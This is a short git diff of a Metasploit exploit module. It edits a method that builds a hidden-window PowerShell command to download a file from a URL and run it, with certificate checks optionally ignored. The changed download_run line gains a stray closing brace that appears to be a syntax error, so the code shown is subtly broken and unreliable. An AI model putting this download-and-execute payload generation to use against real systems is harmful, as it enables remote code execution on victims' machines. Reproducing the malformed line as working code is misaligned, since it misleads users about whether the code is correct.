parent
9961c70cda
commit
0a858cdaa9
|
@ -163,13 +163,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
file = %Q(echo (#{path}+'\\#{filename}'))
|
||||
|
||||
# Generate download PowerShell command
|
||||
download_string = Rex::Powershell::PshMethods.download_run(url, file)
|
||||
download_string = Rex::Powershell::PshMethods.download_run(url, file})
|
||||
end
|
||||
|
||||
download_and_run = "#{ignore_cert}#{download_string}"
|
||||
|
||||
# Generate main PowerShell command
|
||||
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
|
||||
return generate_psh_command_line(noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
command: download_and_run
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue